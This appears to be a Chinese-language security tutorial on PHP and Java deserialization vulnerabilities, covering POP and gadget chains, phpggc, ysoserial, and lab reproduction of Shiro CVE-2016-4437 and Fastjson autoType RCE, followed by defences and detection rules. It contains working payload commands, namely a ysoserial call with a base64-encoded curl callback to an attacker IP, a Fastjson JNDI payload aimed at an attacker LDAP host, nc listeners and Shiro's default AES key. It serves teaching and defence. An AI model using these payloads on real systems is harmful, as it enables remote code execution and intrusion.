08-Java-PHP反序列化漏洞原理与实战
合法边界声明:本篇所有漏洞复现均基于本地 vulhub 靶场或自建环境,所用工具仅用于防御研究与授权渗透测试。反序列化漏洞利用在真实业务系统上的任何未授权尝试均属违法行为。技术细节讲得越透,防守才能做得越实------这是本篇的唯一目的。
一、为什么反序列化被称为"漏洞界的核武器"
前面几篇讲的漏洞------SQL 注入、文件上传、弱口令------危害边界都还算清晰。而反序列化漏洞的特点是:一旦触发,往往直接就是远程代码执行(RCE),中间不需要二次利用。
原因一句话讲透:反序列化是把"数据"还原成"对象",而还原对象的过程会自动触发一系列魔术方法/回调函数。如果攻击者能控制被反序列化的数据,就等于能控制"哪些方法、按什么顺序、带着什么参数被执行"。
- PHP 场景:
unserialize()触发__wakeup()、__destruct()、__toString()等魔术方法; - Java 场景:
ObjectInputStream.readObject()触发目标类的readObject()/readResolve()等自定义反序列化逻辑。
攻击者的思路从来不是"我要执行命令",而是"我要找到一条从入口魔术方法 到Runtime.exec() 的调用链"。这条链,行话叫 gadget chain(利用链/小工具链)。
二、PHP 反序列化:从魔术方法到 POP 链
2.1 序列化与反序列化基础
先把两碗基础语法端上来:
php
<?php
// 一个普通类
class User {
public $name = "heipiao";
private $role = "admin";
}
$user = new User();
// serialize:对象 -> 字符串
echo serialize($user), PHP_EOL;
// 输出: O:4:"User":2:{s:4:"name";s:7:"heipiao";s:9:"UserRole";s:5:"admin";}
// unserialize:字符串 -> 对象
$obj = unserialize('O:4:"User":2:{s:4:"name";s:7:"heipiao";s:9:"UserRole";s:5:"admin";}');
var_dump($obj);
序列化字符串的语法读法(面试常考):
O:4:"User":2:{...}:Object,类名长 4,叫 "User",有 2 个属性;s:4:"name":string,长 4,值为 "name";i:18:integer;b:1:boolean;a:2:{...}:array,2 个元素;- private 属性的序列化格式是
\0类名\0属性名(如上面UserRole前后实际藏着\0User\0,所以长度是 9),protected 属性是\0*\0属性名------这两个不可见字符在手工构造 payload 时经常坑新手。
2.2 魔术方法:自动触发的"地雷"
PHP 有十几个魔术方法,与反序列化攻击相关的核心几个:
| 魔术方法 | 触发时机 |
|---|---|
__destruct() |
对象销毁时(脚本结束/显式 unset) |
__wakeup() |
unserialize() 执行时自动调用 |
__toString() |
对象被当作字符串使用时(echo、字符串拼接) |
__call() |
调用不存在/不可访问的方法时 |
__get() / __set() |
读/写不可访问属性时 |
__invoke() |
对象被当作函数调用时 |
看一个最小化漏洞示例(自建靶机代码,用于理解原理):
php
<?php
class FileHandler {
public $file;
// 对象销毁时自动执行:删除 $this->file 指向的文件
function __destruct() {
echo "清理临时文件: " . $this->file . PHP_EOL;
// 演示危害:若此处有 unlink($this->file) 即任意文件删除
}
}
// 危险点:反序列化的数据来自用户输入(现实中常来自 Cookie/数据库/缓存)
$data = $_GET['data'];
unserialize($data);
攻击者构造 payload:
php
// payload.php:本地生成序列化字符串
class FileHandler { public $file = "/etc/passwd"; }
echo urlencode(serialize(new FileHandler()));
// 输出: O%3A11%3A%22FileHandler%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D
访问 http://127.0.0.1/vuln.php?data=O%3A11%3A...,__destruct() 被触发,$this->file 完全由攻击者控制。这个例子里只是打印路径,但如果把 unlink() 打开,就是任意文件删除;如果 __destruct 里调用的是 eval($this->file),就是 RCE。
2.3 POP 链:把魔术方法串成多米诺
真实框架的类里很少直接有 eval,攻击者要做的是像拼乐高一样,把多个类的魔术方法和普通方法首尾相接:
- A 类的
__destruct()调用了$this->obj->method(); - B 类恰好有
__call(),B 的__call()里会执行$this->engine->render($args); - C 类的
render()里有include $this->template......
于是 new C(恶意模板) -> 塞进 B -> 塞进 A,销毁 A 时骨牌层层倒下,最后一环完成文件包含/命令执行。这种 Property-Oriented Programming 链就叫 POP 链(与二进制里的 ROP 异曲同工)。
PHP 世界的"现成 POP 链武器库"首推 phpggc:
bash
# 克隆工具(仅用于本地靶场与授权测试研究)
git clone https://github.com/ambionics/phpggc.git
cd phpggc
# 查看支持的利用链列表(L=命令执行 R=文件读取 W=文件写入...)
./phpggc -l
# 生成 Laravel/RCE1 链的 payload:执行 whoami
./phpggc Laravel/RCE1 system "whoami"
逐行解释:
phpggc -l:列出工具内置的所有 gadget 链,按框架分组(Laravel、ThinkPHP、Monolog、Symfony...);Laravel/RCE1 system "whoami":指定链名、最终调用的函数与参数,输出一串序列化 payload;- 实战中通常再加
-b(base64 编码)或-u(URL 编码)来适配传输场景。
防守视角的启示:你的应用即使自己没写危险代码,只要 composer 依赖里存在已知 gadget 链的类,反序列化入口 + 旧版依赖 = 事故现场。
2.4 CVE-2016-7124:__wakeup 绕过(经典考点)
早期防御建议是"在 __wakeup() 里校验属性",于是有了著名绕过:
- 当序列化字符串中属性个数大于真实属性个数 时,
__wakeup()会被跳过而__destruct()照常执行; - 例:
O:5:"SoFun":2:{s:4:"file";s:8:"shellphp";}------类实际只有 1 个属性,payload 里写 2。
这个 CVE 告诉我们:把安全寄托在一个可被数据内容影响的钩子上,本身就是不可靠的。
2.5 PHP 反序列化防御
- 最根本 :不反序列化用户可控数据。需要传对象状态时改用 JSON(
json_encode/json_decode无魔术方法问题); - PHP 8+ 已逐步收紧相关行为,及时升级版本;
- 依赖组件(Laravel/Monolog 等)及时更新,消灭已知 gadget 链的"燃料";
unserialize()的第二个参数传白名单:unserialize($data, ["allowed_classes" => ["SafeClass"]])------不允许任何类时传false;- 对必须反序列化的入口(如缓存回源),对数据做签名校验(HMAC),防篡改。
三、Java 反序列化:从 ObjectInputStream 到 gadget 链
3.1 Java 序列化机制与流量特征
Java 原生序列化把对象转成二进制字节流,ObjectOutputStream.writeObject() 写出,ObjectInputStream.readObject() 读回。字节流的固定开头是 AC ED 00 05(十六进制),Base64 编码后就是 rO0AB。
这就是著名的流量特征:
- 抓包看到 HTTP/Cookie/T3/IIOP 报文体开头是
rO0AB→ 八成是 Java 原生序列化数据; - 蓝队监控规则直接匹配
aced0005或 Base64 前缀rO0AB,是反序列化攻击检测的第一道网。
为什么危险? readObject() 反射还原对象时,会自动调用目标类自己定义的 readObject() 方法(很多类重写了它做自定义还原逻辑),还会触发 hashCode()、toString()、equals()、compare() 等方法的间接调用------这些"自动执行点"就是 gadget 的起跑线。
3.2 Commons-Collections gadget 链原理(必懂)
Apache Commons-Collections 是 Java 世界使用最广的工具库之一,2015 年被曝出震惊圈的 gadget 链(ysoserial 的 CC1/CC3/CC5/CC6/CC7 系列)。以最经典的调用逻辑为例,用"骨牌图"描述:
scss
AnnotationInvocationHandler.readObject() // 入口:反序列化自动触发
│ 内部对 memberValues 调用 entrySet()/hashCode()
▼
LazyMap.get(key) 被连带调用 // LazyMap:get 时若 key 不存在,调用 factory.transform(key)
▼
ChainedTransformer.transform() // 依次执行链上每个 Transformer
│ InvokerTransformer.transform()
│ │ 反射调用:method.invoke(obj, args)
▼
Runtime.getRuntime().exec("calc") // 终点:弹出计算器(poc 惯例)
解释每一环的设计恶意:
InvokerTransformer本身是个"合法工具类":接收一个方法名+参数,用反射调用任意对象的方法------它是 CC 链的发动机;ChainedTransformer把多个 Transformer 串联,上一个的输出是下一个的输入,用来解决Runtime.getRuntime()无法直接 new 的问题:先new Runtime()反射拿 exec 方法,再 invoke;LazyMap装饰 Map:get 一个不存在的 key 时自动调用构造时传入的 factory------把"取值"这个日常操作变成"触发 Transformer";AnnotationInvocationHandler(动态代理)提供readObject()入口,让整条链在反序列化瞬间自发启动。
这就是 gadget 链的精髓:每一环单独看都是正常设计,串起来却是一台自动执行命令的机器。
3.3 ysoserial:一把梭的利用工具
ysoserial 是 Java 反序列化 payload 生成器的"祖师爷":
bash
# 克隆并打包(需要 JDK 8 环境打包最顺)
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
# 生成 CommonsCollections6 利用链,执行 curl 外带命令
java -jar ysoserial.jar CommonsCollections6 "curl http://192.168.56.102:8080/pwned" > payload.bin
逐行解释:
mvn clean package -DskipTests:用 Maven 打包出可执行 jar(-DskipTests跳过测试加快构建);CommonsCollections6:指定利用链(CC6 不依赖 JDK 版本的代理类,实战中命中率最高);- 后面跟的字符串就是最终要执行的命令;
> payload.bin:把序列化字节流落成文件,实战中再把这个文件塞进漏洞入口(HTTP 参数、Cookie、T3 协议数据、RMI 请求......取决于目标漏洞的传输载体)。
验证是否成功,最优雅的方式是让靶机"主动喊话":在攻击机开 nc -lvnp 8080,payload 执行 curl 回连,收到请求即证明命令执行成功------比弹计算器可靠得多。
3.4 vulhub 复现:Shiro 反序列化(CVE-2016-4437)
Apache Shiro 的 rememberMe 功能是 Java 反序列化最经典的真实场景:身份信息序列化→AES 加密→Base64 编码→放进 Cookie。漏洞的两个必要条件:
- 硬编码的 AES 密钥 :1.2.4 及以前版本源码里写死了
kPH+bIxk5D2deZiIxcaaaA==,攻击者用同样的密钥就能伪造 Cookie; - 密文解开后直接反序列化 :
readObject()一执行,gadget 链启动。
vulhub 复现步骤:
bash
cd vulhub/shiro/CVE-2016-4437
sudo docker compose up -d
# 环境起来后是一个登录页,默认账号 admin/vulhub(靶场提示)
利用流程(配合工具 shiro_tool 或手工构造):
- 从登录响应里拿到合法的 rememberMe Cookie 作为样本;
- 用默认密钥
kPH+bIxk5D2deZiIxcaaaA==尝试解密------成功即证明密钥未改; - 用 ysoserial 生成 payload(如
CommonsBeanutils1链); - payload 序列化数据 → AES-CBC 加密 → Base64 → 替换 rememberMe Cookie → 重放请求;
- 目标后端解密、反序列化、命令执行。
bash
# 攻击机开监听验证回连
nc -lvnp 9001
# 用 ysoserial 生成回连 payload(以 DNSLog/HTTP 外带验证最稳)
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,Y3VybCBodHRwOi8vMTkyLjE2OC41Ni4xMDI6OTAwMS9wd25lZA==}|{base64,-d}|{bash,-i}" > payload.bin
解释这条花活命令:Java 的 Runtime.exec() 不解析管道和引号,直接写 bash -c "curl ..." 会失败,所以用 echo base64串 | base64 -d | bash 的花括号拼接法绕过------{echo,...} 每个元素会被当作独立参数传给 bash,避开了 shell 元字符解析问题。
Shiro 修复方案(防守方重点):
- 升级到 1.2.5+(自动生成随机密钥),杜绝默认密钥;
- 自定义密钥时务必使用高熵随机值并妥善保管,绝不能进代码仓库;
- 升级 Shiro 到最新版并关注后续 CVE(如 2019 年的 rememberMe Padding Oracle,CVE-2019-12422);
- 在反序列化入口加白名单校验(见下文 JEP 290)。
3.5 Weblogic 与 Fastjson 场景速览
Weblogic T3/IIOP 反序列化 :T3 协议直接传输 Java 序列化对象,历史上 CVE-2015-4852、CVE-2017-3248、CVE-2018-2628 等一串漏洞轮流刷屏。流量特征同样是 aced0005 开头。修复思路:过滤 T3 流量中的序列化类、打官方补丁、限制 T3 端口访问、启用 Weblogic 的串行化过滤器。
Fastjson autoType RCE :这是"另类"的反序列化------Fastjson 把 JSON 还原成 Java 对象时,@type 字段指定任意类名,框架会反射实例化并自动调用 setter/getter。攻击者指定一个危险的"桥接类"(如 JNDI 注入相关的类),构造 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机/Exploit","autoCommit":true},让目标发起 JNDI 连接到恶意 LDAP/RMI 服务,加载远程恶意类完成 RCE。
- 关键开关
autoTypeSupport默认关闭,但"猜黑名单"式的绕过与类名变形让黑白名单拉锯战持续了好几年(1.2.24 → 1.2.47 → 1.2.68......); - 修复姿势:升级到 Fastjson2 或 1.2.83+;能不用 autoType 就永远不要开 ;WAF 层面对请求体中的
@type关键字做检测。
3.6 Java 反序列化防御体系
-
白名单反序列化(JEP 290) :JDK 9+(8u 后期版本也移植了)提供序列化过滤器,
ObjectInputFilter只允许白名单类通过:java// 示例:全局过滤器,只放行业务自身 DTO 包 System.setProperty("jdk.serialFilter", "com.myapp.dto.*;java.util.*;java.lang.*;!*");解释:分号分隔规则,
包名.*放行,!*兜底拒绝其余所有类------默认拒绝是安全配置的正确姿势。 -
依赖治理 :用
mvn dependency:tree/ OWASP Dependency-Check 定期扫描,把存在已知 gadget 链的旧版 Commons-Collections、Fastjson、Shiro 升级到位; -
入口收敛:非必要不暴露 T3/IIOP/RMI/JNDI;rememberMe 这类" Cookie 存对象"的设计能不用就不用;
-
流量检测 :IDS/WAF 规则匹配
aced0005/rO0AB/ 请求体中的@type;JNDI 外连(ldap://、rmi:// 出网)默认告警; -
进程层缓解:服务器出网策略收紧(恶意类加载通常要回连攻击者的 LDAP/RMI),这是纵深防御里性价比最高的一层。
四、PHP 与 Java 反序列化对比(一图流)
| 维度 | PHP | Java |
|---|---|---|
| 数据格式 | 文本(serialize 语法) | 二进制(ACED0005) |
| 流量特征 | O:N:"Class" / a:N:{ 开头 |
rO0AB(Base64 后) |
| 自动触发点 | 魔术方法 __wakeup/__destruct 等 |
readObject()/toString()/hashCode 等 |
| 链的本质 | POP 链:魔术方法接力 | gadget 链:反射调用接力 |
| 现成工具 | phpggc | ysoserial |
| 根治思路 | 不反序列化用户输入,改 JSON | 白名单过滤+升级依赖+入口收敛 |
五、小结
反序列化漏洞的核心逻辑只有一句话:把"数据还原成对象"的过程,变成了"攻击者指挥代码执行"的过程。
- PHP 侧:魔术方法是地雷,POP 链是把地雷串起来的引线,phpggc 是现成的引线库;根治靠 JSON 替代与
allowed_classes白名单; - Java 侧:
readObject()是入口,Commons-Collections/Shiro/Fastjson 三大场景覆盖了历史上大半的真实事故;根治靠 JEP 290 白名单、依赖治理和出网管控; - 蓝队视角:
rO0AB、aced0005、请求体@type、异常 JNDI 外连,这四个特征值值得写进每一条监控规则。
下一篇我们把视角切到对抗最前线------WAF 的防护原理与轻量绕过思路,知己知彼,才能明白"买了 WAF"和"防住了"之间隔着多远的距离。